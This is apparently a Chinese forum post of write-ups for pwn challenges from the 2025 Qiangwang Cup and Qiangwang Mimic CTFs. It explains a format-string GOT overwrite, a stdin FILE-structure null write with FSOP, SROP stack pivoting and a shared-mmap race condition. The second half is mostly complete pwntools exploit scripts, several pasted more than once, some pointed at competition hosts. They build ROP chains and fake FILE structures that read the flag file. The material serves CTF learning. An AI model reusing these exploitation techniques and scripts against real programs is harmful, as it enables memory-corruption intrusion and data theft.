首页
社区
课程
招聘
[原创] 2025 强网杯和强网拟态部分题解
发表于: 2025-10-31 07:39 2552

[原创] 2025 强网杯和强网拟态部分题解

2025-10-31 07:39
2552

图片描述

程序先是打开了/flag文件
图片描述

只有输入金额为0xff时才能进入下面的逻辑,否则关闭flag并清空token变量

图片描述

随后将flag的头打印出来,将内存中的flag清空,并允许我们向user.log写入内容

由于使用了scanf("%s"),导致可以写入无限长内容

图片描述

当输入长度超过0x100,便可以覆盖format

图片描述

可以自由格式化字符串,但由于是data段的格式化字符串

图片描述

但这里可以输入0x10字节,所以可以将got表写在栈上,但是由于token清空我们无法再次进入scanf("%s")

如果我们将exit的got表改写为main函数,在退出时便可以再次进入main中,token便会刷新,我们又可以控制格式化字符串参数

然后可以使用格式化字符串泄露堆地址

由于flag是文件,所以被串在_IO_list_all的链表中,位于堆上,其中的文件指针中包含flag的内容,只要稍微调试便可以找到flag字符串相对于堆地址的偏移

再次使用exit退出,最后一次格式化字符串将flag的地址写在栈上并使用%s参数泄露flag内容,便可以获得flag

图片描述

在leak中,可以输入0x28字节数据,泄露libc地址

图片描述

随后进入一个堆管理菜单

图片描述
其中edit,show,free都没有什么用

add功能只能使用一次,但是没有限制申请堆块的大小

图片描述

这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零

当malloc大小过大会malloc失败并返回null

所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写

由于我们已经知道了libc地址,便可以实现对任意libc地址的null写

libc的攻击面(got表,IO结构体,IO_list_all)

其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够

如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址

所以只剩下stdin可以攻击

图片描述

在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964

如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写

图片描述

由于开启了沙箱,使用orw绕过沙箱即可

直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP

图片描述

在leak中,可以输入0x28字节数据,泄露libc地址

图片描述

随后进入一个堆管理菜单

图片描述

其中edit,show,free都没有什么用

add功能只能使用一次,但是没有限制申请堆块的大小

图片描述

这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零

当malloc大小过大会malloc失败并返回null

所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写

由于我们已经知道了libc地址,便可以实现对任意libc地址的null写

libc的攻击面(got表,IO结构体,IO_list_all)

其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够

如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址

所以只剩下stdin可以攻击

图片描述

在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964

如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写
图片描述

由于开启了沙箱,使用orw绕过沙箱即可

直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP

图片描述

程序的逻辑十分简单,可以溢出0xd8字节,存在沙箱且有一个小后门(将读入的字节数写入栈上)

图片描述

可以看到沙箱留下了wr和Sigreturn以及一些无关紧要的系统调用

图片描述

通过dockerfile可以分析出flag作为环境变量,被放在栈上

省去了orwopenread两步,我们只需要获得栈地址再遍历栈就可以获得flag

第一步,由于我们没有栈地址,所以应该先进行栈迁移到bss上

想要使用SROP又需要syscall地址,而syscall只能来自于libc

所以应该在bss上写入libc地址

那么可以在栈迁移后调用start函数,将大量地址写入bss

图片描述

可以看到已经有不少libc地址被写入bss段

下一步想使用magic_gadget将任意libc地址修改为syscall地址,但是使用magic_gadget的前提是控制rbxrbp寄存器,想控制这两个寄存器则需要pop rbx;ret这样的指令

我们有需要从libc中获得,通过观察可以发现

图片描述

图片描述

在bss段的libc地址的附近有这样的gadget,但是与libc地址相差了2字节,由于libc偏移的页偏移机制,只有1.5字节是固定的,所以这里需要爆破半字节(1/16)

通过末位覆盖达成这个目的(p16(0xa2dc))

注意这里的gadget使用的是从add rsp,0x38开始的,至于为什么要这样选择要看后续利用

此时这个libc地址变成了可以控制rbx/rbp的gadget,我们还需要在这个gadget的高地址处布置magic_gadget与其他ROP,所以要把target设置为这个libc地址的下一个bss地址

图片描述

从此处开始布置新的ROP链,此次布置要包含两个部分

这也是刚刚选择控制rbx的gadget时要带上一段跳栈汇编add rsp,0x38的原因,需要保证两个ROP不能重叠

此后向低地址垫入ret滑梯,便可以将RSP滑到布置了好久的ROP上,执行将libc地址修改为syscall地址的ROP
图片描述

经过这个ROP,bss上的Libc地址被成功改写为syscall地址,离我们使用SROP进了一步

我们在写SROP前要先梳理下目标结构

图片描述

高地址处要写入SigreturnFrame,低地址要写入ret滑梯,并且要在滑梯中插入一个read.plt(控制rax用)

上次布置的ROP允许我们直接向syscall的高地址写入内中

我们除了要写SigreturnFrame,还要写入syscall后的后续利用:我们通过SROP获取libc地址后对栈遍历的ROP

我们先写入

然后通过刚刚的leave将RSP移到syscall的低地址,再调用read,便可以向低地址到syscall中间填充ret滑梯

最后一次栈溢出,便将RSP沿着ret滑梯,滑倒了syscall上

图片描述

上半部分是ret滑梯,下半部分是后续的SigreturnFrame与后续ROP的重合结构
图片描述

SROP转为write调用,将got表打印出来,获得了libc地址

此时再次调用read,read会根据我们刚刚设定的rbp确定rsi的地址,所以SigreturnFrame中要确定rbp的位置

图片描述

通过调整rbp大小,我们可以直接覆盖read.plt的返回地址

实现最后一次ROP,此时我们得知了libc地址,可以打印出envrion成员(栈地址),再调用write函数对栈进行遍历

图片描述

可以最终获得栈上的环境遍历FLAG

图片描述

baby_stack是最最最简单的栈溢出,就不写了

图片描述

通过gdb调试发现可以泄露栈地址

图片描述

程序中还存在syscall指令,且未开启PIE保护

还存在一个很大的栈溢出

可以考虑先使用SROP调用write进行libc地址的泄露,然后再次栈溢出进行orw(本题开启了沙箱)

很公式的打法

无论是逻辑还是字符串都经过了高度混淆

通过gdb与黑盒测试可以得出以下基础流程

图片描述

在进入note前需要设置一个密码,此后进入一个堆块管理系统(choice 2)

拥有增删改查功能

在进入note前,会先进行open与mmap操作

图片描述

使用gdb调试这个mmap返回的内存,结合堆块管理操作,发现是用来记录堆块大小的(我添加了0x500和0x600的堆块)
图片描述

我们着重关注这个mmap操作

mmap(0LL, 0x60uLL, 3, 1, fd, 0LL)

随后即使close(fd),此时这片内存与磁盘中的文件完成了绑定,二者的关系依旧不变

图片描述

在堆管理器中依旧存在高度的指令混淆和字符串混淆

通过调试可以简单逆向出这些操作

很标准的增删改查

最先堆操作原语中寻找漏洞,比如常见的uaf,堆溢出(包括offbynull,offbyone)

按照特征对几个漏洞进行分析,使用了gdb调试与fuzzer进行盲打

发现并不存在漏洞,也就是说堆管理系统是安全的

这道题的特色就是存在着一个管理堆块大小的磁盘-内存共享空间

既然堆管理原语不存在漏洞,那么漏洞只能存在于这个共享内存中了

通过gdb调试发现,每次创建的文件名都是一串随机字符

图片描述

通过对字符串进行溯源,可以猜测字符串的生产与可能输入的passwd和时间有关

图片描述

此时使用hook对猜想进行验证

将此源码编译为.so并在程序运行时PRELOAD,open操作会被hook为打印操作

可以显示出我们的字符串

再写一个简单的py脚本对每次运行时回显的文件名进行接收

结果会被记录在log.txt

运行py后查看log,可以看到文件名随着时间均匀变化,证明文件名确实是时间戳产生的随机数与passwd组合产生的摘要

图片描述

现在我们已知

只要让两个进程同时打开一个文件,一个文件对堆块大小列表进行修改,就会映射到另一个进程的堆块大小列表中

这样可以造成任意长度的堆溢出

本身操作原语中存在未置零的缺陷,可以直接泄露出libc地址与heap地址

准备了两个堆溢出布局

图片描述

第一个用来泄露栈地址

第二个用来劫持返回地址进行ROP

随后进行条件竞争,开启另外一个进程中将堆块大小列表填入三个0x500

如果进程s和进程io开启了同一个文件,就会导致io中堆块大小被修改为0x500

图片描述

经过小小的爆破,可以看到io进程中的共享内存被s进程的操作修改

此时可以使用edit功能进行栈溢出

通过这道题我发现劫持read函数的返回地址是最方便的,不用担心canary的问题

以前都是劫持edit函数的返回地址,有时候add函数中没用read功能就会导致add返回时canary被修改

图片描述

先是开始沙箱和初始化缓冲区和一些结构体后,要求输入硬编码的魔数

随后是个菜单,显式选项有三个,退出 帮助重置

退出和帮助没什么用,重置会再次刷新结构体成员

图片描述

结构体中包含一枚函数指针,几乎可以猜到要攻击什么东西了

长长的一段逻辑,实际上是进行对数据包的是否符合协议格式的检测

简单来说是数据必须符合以下格式

[命令头部HEX]#[数据HEX...]

这是车联网领域CAN/ISO-TP通信协议的简化版本

在数据处理部分,又根据[命令头部HEX]将数据包分为单帧,首帧连续帧

每次数据发送结束,都会调用sub_1840将数据包集体复制到全局变量缓冲区buf

然后调用一个结构体中的函数指针进行handle操作

注意这里的psub_16E0是根据函数指针进行调用的,也就是我们的结构体中的函数指针

随后我们对buf周围的变量进行的观察

这枚函数指针恰好存放在buf高0x100的地址处

而且对连续帧的观察得到,并没有限制连续帧的数据长度上限

也就是说如果我们发送的是连续帧,且长度超过0x100,就会覆盖原本的函数指针

由于程序开启了所有保护,且不存在后门函数,我们无法一下子跳转到确定的目标

但我们知道,程序开启了沙箱,禁止了execve类的函数调用,我们的最终手段一定是orw

orw需要我们连续执行函数并控制参数,只有ROP能做到这一点

由于不存在栈溢出,我们又必须要进行栈迁移才能达成ROP

最开始的handle函数是这个,打印一句话并返回

如果我们将函数指针最低字节从E0偏移到E4,就可能导致rdi中的内容出现非预期

通过调试可知,这样会泄露出我们刚刚输入的连续帧数据,如果这里面不存在\x00截断的话,还可以泄露出handle指针,也就是说我们可以泄露PIE
图片描述

此时我们可以正常返回main中 , 可以再次修改函数指针

此时text段的gadget都可以拿来用,可以先使用ROPgadget寻找合适的片段
图片描述

一个很醒目的特色gadget,很明显可以用来栈迁移.

再结合之前说的,执行handle函数时,rdi为buf上的输入的起始地址,一切就都通了

我们可以将handle覆盖为这个gadget,将栈迁移到bss上,在前0x100字节布置好泄露libc的ROP+二次注入ROP的ROP

即可执行任意长度的ROP链

from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("47.93.216.175",38936)
def bug():
    gdb.attach(io,"b *0x4014bc")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3
io.sendline(b'a'*0x100+payload)
io.sendline(b"1")
got=0x404090
io.send(p64(got)+p64(got+2))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%11$p")
io.sendlineafter(b"2.exit",b"1")
#io.recvuntil(b"how much you want to pay?\n")
io.recvuntil(b"want to pay?\n")
io.sendline(b"1")
heap=int(io.recvuntil(b"we")[:-2],16)
print(hex(heap))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%16$s")
io.sendlineafter(b"2.exit",b"1")
io.send(p64(heap+0x3c0)+p64(heap+0x3c0))
io.interactive()
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("47.93.216.175",38936)
def bug():
    gdb.attach(io,"b *0x4014bc")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3
io.sendline(b'a'*0x100+payload)
io.sendline(b"1")
got=0x404090
io.send(p64(got)+p64(got+2))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%11$p")
io.sendlineafter(b"2.exit",b"1")
#io.recvuntil(b"how much you want to pay?\n")
io.recvuntil(b"want to pay?\n")
io.sendline(b"1")
heap=int(io.recvuntil(b"we")[:-2],16)
print(hex(heap))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%16$s")
io.sendlineafter(b"2.exit",b"1")
io.send(p64(heap+0x3c0)+p64(heap+0x3c0))
io.interactive()
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
        0x0:  p64(0x320),
        0x10: p64(base+libc.sym.setcontext + 61),
        0x20: p64(IO),
        0x78: p64(jmp_gadget),
        0x88: p64(base+libc.sym._environ-0x10),  # _lock_chain
        0xa0: p64(IO),
        0xa8: p64(jmp_gadget),
        0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
        0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
        0x0:  p64(0x320),
        0x10: p64(base+libc.sym.setcontext + 61),
        0x20: p64(IO),
        0x78: p64(jmp_gadget),
        0x88: p64(base+libc.sym._environ-0x10),  # _lock_chain
        0xa0: p64(IO),
        0xa8: p64(jmp_gadget),
        0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
        0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
        0x0:  p64(0x320),
        0x10: p64(base+libc.sym.setcontext + 61),
        0x20: p64(IO),
        0x78: p64(jmp_gadget),
        0x88: p64(base+libc.sym._environ-0x10),  # _lock_chain
        0xa0: p64(IO),
        0xa8: p64(jmp_gadget),
        0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
        0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
    gdb.attach(io)
def add(size):
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
        0x0:  p64(0x320),
        0x10: p64(base+libc.sym.setcontext + 61),
        0x20: p64(IO),
        0x78: p64(jmp_gadget),
        0x88: p64(base+libc.sym._environ-0x10),  # _lock_chain
        0xa0: p64(IO),
        0xa8: p64(jmp_gadget),
        0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
        0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
from pwn import *
env = {'FLAG': 'flag{your_flag_here}'}
io=process('./pwn',env=env)
libc=ELF('./libc.so.6')
#io=remote("47.105.116.238",9999)
def bug():
    gdb.attach(io,"b *0x4015FB")
context.arch='amd64'
read=0x4015FB
bss=0x404000+0x800 #从bss的中间部分开始栈迁移
start=0x401170
leave=0x40161E
target=0x4047c0
ret=leave+1
syscall=0x404788 #src:0x2a2dc   target:0x91316   在libc中的syscall;ret地址
magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadget
rbp=magic+1
payload=p64(bss)*3+2*p64(bss)+p64(read)
io.send(payload)
pause()
payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave)
io.send(payload)
from pwn import *
env = {'FLAG': 'flag{your_flag_here}'}
io=process('./pwn',env=env)
libc=ELF('./libc.so.6')
#io=remote("47.105.116.238",9999)
def bug():
    gdb.attach(io,"b *0x4015FB")
context.arch='amd64'
read=0x4015FB
bss=0x404000+0x800 #从bss的中间部分开始栈迁移
start=0x401170
leave=0x40161E
target=0x4047c0
ret=leave+1
syscall=0x404788 #src:0x2a2dc   target:0x91316   在libc中的syscall;ret地址
magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadget
rbp=magic+1
payload=p64(bss)*3+2*p64(bss)+p64(read)
io.send(payload)
pause()
payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave)
io.send(payload)
payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc)
io.send(payload)
pause()
payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc)
io.send(payload)
pause()
payload =p64(0x404790+0x20)+p64(read) #这次的返回地址
payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP
payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移
payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadget
target=0x404790
payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP)
io.send(payload)
payload =p64(0x404790+0x20)+p64(read) #这次的返回地址
payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP
payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移
payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadget
target=0x404790
payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP)
io.send(payload)
payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4
io.send(payload)
payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4
io.send(payload)
f=SigreturnFrame()
f.rsp=syscall
f.rax=1
f.rdi=1
f.rsi=0x403FC0
f.rdx=0x8
f.rip=ret
f.rbp=0x404790+0x20
payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:]
io.send(payload)
pause()
f=SigreturnFrame()
f.rsp=syscall
f.rax=1
f.rdi=1
f.rsi=0x403FC0
f.rdx=0x8
f.rip=ret
f.rbp=0x404790+0x20
payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:]
io.send(payload)
pause()
io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2)
pause()
io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2)
pause()
io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5)
pause()
io.send(b'a'*0xf)
pause()
io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5)
pause()
io.send(b'a'*0xf)
pause()
from pwn import *
#io=process('./pwn')
io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True)
libc=ELF('./libc.so.6')
context.arch='amd64'
io.send(b'a'*0x10)
io.recvuntil(b'a'*0x10)
stack=u64(io.recv(6)+b'\x00\x00')
print(hex(stack))
syscall=0x40140E
read=0x4010F0
f=SigreturnFrame()
f.rdi=1
f.rax=1
f.rsi=0x403FA8
f.rip=syscall
f.rdx=8
f.rsp=stack+0xf8
payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443)
#gdb.attach(io)
io.send(payload)
pause()
io.send(b'a'*0xf)
io.recvuntil(b"Any thing else?\n")
base=u64(io.recv(8))-libc.sym.puts
print(hex(base))
ope=base+libc.sym.open
sendfile=base+libc.sym.sendfile
rdi=base+0x000000000002a3e5
rsi=base+0x000000000002be51
rdx=base+0x000000000011f357
rcx=base+0x000000000003d1ee
payload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile)
io.send(payload)
io.interactive()
from pwn import *
#io=process('./pwn')
io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True)
libc=ELF('./libc.so.6')
context.arch='amd64'
io.send(b'a'*0x10)
io.recvuntil(b'a'*0x10)
stack=u64(io.recv(6)+b'\x00\x00')
print(hex(stack))
syscall=0x40140E
read=0x4010F0
f=SigreturnFrame()
f.rdi=1
f.rax=1
f.rsi=0x403FA8
f.rip=syscall
f.rdx=8
f.rsp=stack+0xf8
payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443)
#gdb.attach(io)
io.send(payload)
pause()
io.send(b'a'*0xf)
io.recvuntil(b"Any thing else?\n")
base=u64(io.recv(8))-libc.sym.puts
print(hex(base))
ope=base+libc.sym.open
sendfile=base+libc.sym.sendfile
rdi=base+0x000000000002a3e5
rsi=base+0x000000000002be51
rdx=base+0x000000000011f357
rcx=base+0x000000000003d1ee
payload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile)
io.send(payload)
io.interactive()
def add(size):
    io.sendlineafter(b'$> ', b'add')
    io.sendlineafter(b'Enter size of note: ', str(size).encode())
def edit(index, size ,content=b'\x01'):
    io.sendlineafter(b'$> ', b'edit')
    io.sendlineafter(b'Enter index of note to edit: ', str(index).encode())
    io.sendlineafter(b'Enter newsize: ', str(size).encode())
    if content==b'\x01':
        io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n')
    else:
        io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y')
        io.sendlineafter(b'Enter new content for note: ', content)
def free(index):
    io.sendlineafter(b'$> ', b'del')
    io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())
def show(index):
    io.sendlineafter(b'$> ', b'show')
    io.sendlineafter(b'Enter index of note to show: ', str(index).encode())
def add(size):
    io.sendlineafter(b'$> ', b'add')
